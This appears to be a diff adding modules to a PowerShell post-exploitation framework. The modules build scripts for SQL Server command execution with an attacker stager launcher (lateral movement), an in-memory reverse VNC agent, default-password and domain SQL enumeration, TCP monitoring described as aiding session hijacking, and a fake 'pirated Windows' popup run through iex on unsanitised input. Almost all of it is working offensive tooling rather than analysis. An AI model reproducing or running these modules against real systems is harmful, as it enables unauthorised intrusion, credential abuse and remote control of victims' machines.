'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
credID = self.options["CredID"]['Value']
|
||||||
|
if credID != "":
|
||||||
|
if not self.mainMenu.credentials.is_credential_valid(credID):
|
||||||
|
print helpers.color("[!] CredID is invalid!")
|
||||||
|
return ""
|
||||||
|
(credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
|
||||||
|
if domainName != "":
|
||||||
|
self.options["UserName"]['Value'] = str(domainName) + "\\" + str(username)
|
||||||
|
else:
|
||||||
|
self.options["UserName"]['Value'] = str(username)
|
||||||
|
if password != "":
|
||||||
|
self.options["Password"]['Value'] = password
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
instance = self.options['Instance']['Value']
|
||||||
|
command = self.options['Command']['Value']
|
||||||
|
username = self.options['UserName']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
|
||||||
|
|
||||||
|
moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1"
|
||||||
|
moduleCode = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
moduleCode = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
|
||||||
|
if command == "":
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||||
|
if launcher == "":
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||||
|
|
||||||
|
|
||||||
|
script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command)
|
||||||
|
|
||||||
|
if username != "":
|
||||||
|
script += " -UserName "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
return script
|
|
@ -0,0 +1,102 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-Vnc',
|
||||||
|
|
||||||
|
'Author': ['@n00py'],
|
||||||
|
|
||||||
|
'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
|
||||||
|
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
'Language' : 'powershell',
|
||||||
|
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/artkond/Invoke-Vnc'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Port' : {
|
||||||
|
'Description' : 'Port to Use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '5900'
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'Password to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'password'
|
||||||
|
},
|
||||||
|
'ConType' : {
|
||||||
|
'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'bind'
|
||||||
|
}
|
||||||
|
,
|
||||||
|
'IpAddress' : {
|
||||||
|
'Description' : 'IP Address to use for reverse connection.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
moduleName = self.info["Name"]
|
||||||
|
|
||||||
|
# read in th Invoke-Vnc.ps1 module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
|
||||||
|
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
script += "\nInvoke-Vnc"
|
||||||
|
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
return script
|
|
@ -0,0 +1,98 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Get-SQLServerLoginDefaultPw',
|
||||||
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Based on the instance name, test if SQL Server '
|
||||||
|
'is configured with default passwords.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1',
|
||||||
|
'https://github.com/pwnwiki/pwnwiki.github.io/blob/master/tech/db/mssql.md'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'SQL Server or domain account to authenticate with. Only used for CheckAll',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'SQL Server or domain account password to authenticate with. Only used for CheckAll',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Instance' : {
|
||||||
|
'Description' : 'SQL Server instance to connection to.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CheckAll' : {
|
||||||
|
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
username = self.options['Username']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
instance = self.options['Instance']['Value']
|
||||||
|
check_all = self.options['CheckAll']['Value']
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1"
|
||||||
|
script = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
script = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
if check_all:
|
||||||
|
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
|
||||||
|
try:
|
||||||
|
with open(auxModuleSource, 'r') as auxSource:
|
||||||
|
auxScript = auxSource.read()
|
||||||
|
script += " " + auxScript
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
|
||||||
|
script += " Get-SQLInstanceDomain "
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
script += " | Select Instance | "
|
||||||
|
script += " Get-SQLServerLoginDefaultPw"
|
||||||
|
if instance != "" and not check_all:
|
||||||
|
script += " -Instance "+instance
|
||||||
|
return script
|
|
@ -0,0 +1,116 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# name for the module that will appear in module menus
|
||||||
|
'Name': 'Start-MonitorTCPConnections',
|
||||||
|
|
||||||
|
# list of one or more authors for the module
|
||||||
|
'Author': ['@erikbarzdukas'],
|
||||||
|
|
||||||
|
# more verbose multi-line description of the module
|
||||||
|
'Description': ('Monitors hosts for TCP connections to a specified domain name or IPv4 address.'
|
||||||
|
' Useful for session hijacking and finding users interacting with sensitive services.'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
# True if the module needs admin rights to run
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
# the language for this module
|
||||||
|
'Language' : 'powershell',
|
||||||
|
|
||||||
|
# The minimum PowerShell version needed for the module to run
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
# list of any references/other comments
|
||||||
|
'Comments': [
|
||||||
|
'Based on code from Tim Ferrell.',
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description' : 'Agent to monitor from.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'TargetDomain' : {
|
||||||
|
'Description' : 'Domain name or IPv4 address of target service.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CheckInterval' : {
|
||||||
|
'Description' : 'Interval in seconds to check for the connection',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '15'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters
|
||||||
|
# are passed as an object set to the module and the
|
||||||
|
# options dictionary is automatically set. This is mostly
|
||||||
|
# in case options are passed on the command line
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
# the PowerShell script itself, with the command to invoke
|
||||||
|
# for execution appended to the end. Scripts should output
|
||||||
|
# everything to the pipeline for proper parsing.
|
||||||
|
#
|
||||||
|
# the script should be stripped of comments, with a link to any
|
||||||
|
# original reference script included in the comments.
|
||||||
|
|
||||||
|
# if you're reading in a large, external script that might be updates,
|
||||||
|
# use the pattern below
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1"
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
script += "Start-TCPMonitor"
|
||||||
|
|
||||||
|
# add any arguments to the end execution of the script
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,118 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name' : 'Get-SQLInstanceDomain',
|
||||||
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Returns a list of SQL Server instances discovered by querying '
|
||||||
|
'a domain controller for systems with registered MSSQL service '
|
||||||
|
'principal names. The function will default to the current user\'s '
|
||||||
|
'domain and logon server, but an alternative domain controller '
|
||||||
|
'can be provided. UDP scanning of management servers is optional.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'DomainController' : {
|
||||||
|
'Description' : "Domain controller for Domain and Site that you want to query against.",
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ComputerName' : {
|
||||||
|
'Description' : 'Computer name to filter for.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'DomainServiceAccount' : {
|
||||||
|
'Description' : 'Domain account to filter for.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CheckMgmt' : {
|
||||||
|
'Description' : 'Performs UDP scan of servers managing SQL Server clusters.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'False'
|
||||||
|
},
|
||||||
|
'UDPTimeOut' : {
|
||||||
|
'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '3'
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'SQL Server or domain account to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'SQL Server or domain account password to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
domainController = self.options['DomainController']['Value']
|
||||||
|
computerName = self.options['ComputerName']['Value']
|
||||||
|
domainAccount = self.options['DomainServiceAccount']['Value']
|
||||||
|
checkMgmt = self.options['CheckMgmt']['Value']
|
||||||
|
udpTimeOut = self.options['UDPTimeOut']['Value']
|
||||||
|
username = self.options['Username']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
|
||||||
|
script = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
script = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
script += " Get-SQLInstanceDomain"
|
||||||
|
if username != "":
|
||||||
|
script += " -Username " + username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password " + password
|
||||||
|
if domainController != "":
|
||||||
|
script += " -DomainController "+domainController
|
||||||
|
if computerName != "":
|
||||||
|
script += " -ComputerName "+computerName
|
||||||
|
if domainAccount != "":
|
||||||
|
script += " -DomainAccount "+domainAccount
|
||||||
|
if checkMgmt.lower() != "false":
|
||||||
|
script += " -CheckMgmt"
|
||||||
|
if udpTimeOut != "":
|
||||||
|
script += " -UDPTimeOut "+udpTimeOut
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,101 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Get-SQLServerInfo',
|
||||||
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Returns basic server and user information from target SQL Servers.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'SQL Server or domain account to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'SQL Server or domain account password to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Instance' : {
|
||||||
|
'Description' : 'SQL Server instance to connection to.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CheckAll' : {
|
||||||
|
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
username = self.options['Username']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
instance = self.options['Instance']['Value']
|
||||||
|
check_all = self.options['CheckAll']['Value']
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1"
|
||||||
|
script = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
script = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
if check_all:
|
||||||
|
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
|
||||||
|
try:
|
||||||
|
with open(auxModuleSource, 'r') as auxSource:
|
||||||
|
auxScript = auxSource.read()
|
||||||
|
script += " " + auxScript
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
|
||||||
|
script += " Get-SQLInstanceDomain "
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
script += " | "
|
||||||
|
script += " Get-SQLServerInfo"
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
if instance != "" and not check_all:
|
||||||
|
script += " -Instance "+instance
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,111 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-WLMDR',
|
||||||
|
|
||||||
|
'Author': ['@benichmt1'],
|
||||||
|
|
||||||
|
'Description': ("Displays a balloon reminder in the taskbar."),
|
||||||
|
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
'Language' : 'powershell',
|
||||||
|
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
''
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Message' : {
|
||||||
|
'Description' : 'Message text to display.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'You are using a pirated version of Microsoft Windows.'
|
||||||
|
},
|
||||||
|
'IconType' : {
|
||||||
|
'Description' : 'Critical, Exclamation, Information, Key, or None',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Key'
|
||||||
|
},
|
||||||
|
'Title' : {
|
||||||
|
'Description' : 'Title of the message box to display.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Windows Explorer'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
script = """
|
||||||
|
function Invoke-Wlrmdr {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
|
[Parameter(Mandatory = $True, Position = 0)]
|
||||||
|
[String] $Message = "You are using pirated Windows",
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $True, Position = 1)]
|
||||||
|
[String] $IconType = "Key",
|
||||||
|
[Parameter(Mandatory = $True, Position = 2)]
|
||||||
|
[String] $Title = "Windows Explorer"
|
||||||
|
)
|
||||||
|
$command = "wlrmdr.exe -s 60000 -f "
|
||||||
|
$Iaintgotnotype = switch ($IconType)
|
||||||
|
{
|
||||||
|
"Critical" {6}
|
||||||
|
"Exclamation" {5}
|
||||||
|
"Information" {1}
|
||||||
|
"Key" {4}
|
||||||
|
"None" {0}
|
||||||
|
default {0}
|
||||||
|
}
|
||||||
|
$command += $Iaintgotnotype
|
||||||
|
$command += "-t "
|
||||||
|
$command += $Title
|
||||||
|
$command += " -m "
|
||||||
|
$command += $Message
|
||||||
|
$command += " -a 10 -u calc"
|
||||||
|
iex $command
|
||||||
|
}
|
||||||
|
Invoke-Wlrmdr"""
|
||||||
|
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent" and option.lower() != "computername":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
|
||||||
|
|
||||||
|
return script
|
|
@ -1,97 +1,97 @@
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
class Module:
|
class Module:
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
# metadata info about the module, not modified during runtime
|
# Metadata info about the module, not modified during runtime
|
||||||
self.info = {
|
self.info = {
|
||||||
# name for the module that will appear in module menus
|
# Name for the module that will appear in module menus
|
||||||
'Name': 'Invoke-Something',
|
'Name': 'Invoke-Something',
|
||||||
|
|
||||||
# list of one or more authors for the module
|
# List of one or more authors for the module
|
||||||
'Author': ['@yourname'],
|
'Author': ['@yourname'],
|
||||||
|
|
||||||
# more verbose multi-line description of the module
|
# More verbose multi-line description of the module
|
||||||
'Description': ('description line 1'
|
'Description': ('description line 1 '
|
||||||
'description line 2'),
|
'description line 2'),
|
||||||
|
|
||||||
# True if the module needs to run in the background
|
# True if the module needs to run in the background
|
||||||
'Background' : False,
|
'Background': False,
|
||||||
|
|
||||||
# File extension to save the file as
|
# File extension to save the file as
|
||||||
'OutputExtension' : None,
|
'OutputExtension': None,
|
||||||
|
|
||||||
# True if the module needs admin rights to run
|
# True if the module needs admin rights to run
|
||||||
'NeedsAdmin' : False,
|
'NeedsAdmin': False,
|
||||||
|
|
||||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
'OpsecSafe' : True,
|
'OpsecSafe': True,
|
||||||
|
|
||||||
# the language for this module
|
# The language for this module
|
||||||
'Language' : 'powershell',
|
'Language': 'powershell',
|
||||||
|
|
||||||
# The minimum PowerShell version needed for the module to run
|
# The minimum PowerShell version needed for the module to run
|
||||||
'MinLanguageVersion' : '2',
|
'MinLanguageVersion': '2',
|
||||||
|
|
||||||
# list of any references/other comments
|
# List of any references/other comments
|
||||||
'Comments': [
|
'Comments': [
|
||||||
'comment',
|
'comment',
|
||||||
'http://link/'
|
'http://link/'
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
# any options needed by the module, settable during runtime
|
# Any options needed by the module, settable during runtime
|
||||||
self.options = {
|
self.options = {
|
||||||
# format:
|
# Format:
|
||||||
# value_name : {description, required, default_value}
|
# value_name : {description, required, default_value}
|
||||||
'Agent' : {
|
'Agent': {
|
||||||
# The 'Agent' option is the only one that MUST be in a module
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
'Description' : 'Agent to grab a screenshot from.',
|
'Description': 'Agent to grab a screenshot from.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'Command' : {
|
'Command': {
|
||||||
'Description' : 'Command to execute',
|
'Description': 'Command to execute',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : 'test'
|
'Value' : 'test'
|
||||||
}
|
}
